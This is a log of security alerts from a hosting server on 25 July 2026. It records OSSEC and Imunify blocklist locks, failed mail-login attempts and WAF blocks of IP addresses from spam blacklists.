plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 05:13:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 05:13:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 05:12:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 05:12:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 05:12:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 05:12:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.172.34
country_id: 6252001
description:
Jul 25 05:12:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 05:13:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 05:13:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 05:13:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.19.198.160
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-13.37.19.198.160||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 05:13:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.161.242.168
country_id: 1835841
description:
Jul 25 05:14:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.161.242.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 05:13:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 05:13:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.251.252.216
country_id: 6252001
description:
2026-07-25 05:14:57 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [172.251.252.216]:37268: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.71.82
country_id: 1269750
description:
Jul 25 05:14:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.71.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.198.53.188
country_id: 1814991
description:
Jul 25 05:14:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.198.53.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.198.53.188
country_id: 1814991
description:
2026-07-25 05:14:47 dovecot_login authenticator failed for H=([196.190.180.18]) [111.198.53.188]:42841: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-25 05:14:47 dovecot_login authenticator failed for H=([151.0.154.194]) [182.76.71.82]:41680: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.7.30.146
country_id: 3469034
description:
Jul 25 05:15:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.7.30.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.7.30.146
country_id: 3469034
description:
2026-07-25 05:15:12 dovecot_login authenticator failed for H=([174.75.211.217]) [177.7.30.146]:45111: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 05:14:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.251.252.216
country_id: 6252001
description:
Jul 25 05:14:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.251.252.216 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.28.162.115
country_id: 2921044
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-15.104.28.162.115||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 05:15:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 05:15:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 05:15:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 05:15:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 05:16:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 05:16:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 05:16:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.178.146.133
country_id: 1814991
description:
Jul 25 05:17:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.178.146.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 05:18:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.226.10.188
country_id: 1814991
description:
Jul 25 05:17:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.226.10.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 05:18:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 05:17:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.122.196.230
country_id: 1814991
description:
Jul 25 05:17:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.122.196.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 05:17:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 05:17:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.122.196.230
country_id: 1814991
description:
2026-07-25 05:17:49 dovecot_login authenticator failed for H=([112.27.38.203]) [118.122.196.230]:53548: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.251.93.214
country_id: 6252001
description:
Jul 25 05:17:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.251.93.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-25 05:18:00 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [162.251.93.214]:43154: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.85.94.148
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-17.95.85.94.148||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 05:18:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 05:19:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 05:18:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 05:20:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.69.141.98
country_id: 2921044
description:
Jul 25 05:19:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.69.141.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 05:19:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 05:19:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 05:19:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 05:19:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 05:20:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 05:20:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 05:20:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 05:21:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 05:21:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 05:21:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 05:22:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 25 05:23:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.127.243.55
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-23.103.127.243.55||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 05:23:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 05:23:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 05:23:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 05:24:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 05:24:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.8.97
country_id: 1835841
description:
Jul 25 05:25:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.8.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-25 05:24:53 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com (abts-north-static-115.85.160.122.airtelbroadband.in) [220.246.47.146]:61655: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jul 25 05:24:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.158.99.112
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-24.51.158.99.112||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.47.146
country_id: 1819730
description:
Jul 25 05:24:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.47.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-25 05:25:12 dovecot_login authenticator failed for H=([92.84.21.186]) [218.156.8.97]:34512: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 25 05:27:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 05:27:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 05:27:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 05:27:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 05:27:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.99.79.214
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-28.194.99.79.214||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 05:27:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.162.200.198
country_id: 6251999
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-27.23.162.200.198||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 81.28.13.225
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-29.81.28.13.225||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 05:28:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.130.223.207
country_id: 1835841
description:
Jul 25 05:28:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.130.223.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 05:28:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-25 05:28:34 dovecot_login authenticator failed for H=([121.169.236.186]) [218.159.144.187]:40455: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.223.207
country_id: 1835841
description:
2026-07-25 05:28:48 dovecot_login authenticator failed for H=([112.28.153.193]) [125.130.223.207]:43956: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 05:28:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.159.144.187
country_id: 1835841
description:
Jul 25 05:28:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.159.144.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 05:29:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 05:29:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.211.98.70
country_id: 1562822
description:
Jul 25 05:29:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.211.98.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 05:29:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.95.27.209
country_id: 1861060
description:
Jul 25 05:29:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.95.27.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-25 05:29:48 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([125.61.5.77]) [218.103.36.176]:58528: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 05:29:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.227.186
country_id: 1814991
description:
Jul 25 05:29:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.227.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.103.36.176
country_id: 1819730
description:
Jul 25 05:29:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.103.36.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-25 05:30:09 dovecot_login authenticator failed for H=(res-aton56247d.ppp.twt.it) [118.33.119.34]:50694: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.100
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:05-30.45.135.228.100||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.33.119.34
country_id: 1835841
description:
Jul 25 05:30:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.33.119.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 05:30:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 05:30:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 151.241.171.117
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:05-31.151.241.171.117||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 05:30:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 05:31:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 05:31:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.158.205.225
country_id: 1861060
description:
